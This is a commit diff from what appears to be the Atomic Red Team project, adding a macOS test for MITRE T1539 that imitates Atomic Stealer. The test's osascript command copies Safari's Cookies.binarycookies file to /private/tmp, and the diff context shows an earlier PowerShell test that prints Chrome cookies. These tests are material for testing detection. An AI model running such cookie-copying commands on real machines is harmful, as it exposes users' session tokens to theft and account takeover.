Skip to content

Commit b34f3d5

Browse files
T1539 AppleScript Copying Safari Cookies test (#3050)
Co-authored-by: Bhavin Patel <[email protected]>
1 parent 8bf6c17 commit b34f3d5

File tree

1 file changed

+18
-1
lines changed

1 file changed

+18
-1
lines changed

atomics/T1539/T1539.yaml

+18-1
Original file line numberDiff line numberDiff line change
@@ -158,4 +158,21 @@ atomic_tests:
158158
Write-Host $cookies
159159
Stop-Process $chromeProcess -Force
160160
name: powershell
161-
elevation_required: false
161+
elevation_required: false
162+
163+
- name: Copy Safari BinaryCookies files using AppleScript
164+
description: |
165+
This command will copy Safari BinaryCookies files using AppleScript as seen in Atomic Stealer.
166+
supported_platforms:
167+
- macos
168+
input_arguments:
169+
destination_path:
170+
description: Specify the path to copy the BinaryCookies file into.
171+
type: path
172+
default: /private/tmp
173+
executor:
174+
command: |-
175+
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")' -e 'duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'
176+
cleanup_command: 'rm "#{destination_path}/Cookies.binarycookies"'
177+
name: sh
178+
elevation_required: false

0 commit comments

Comments
 (0)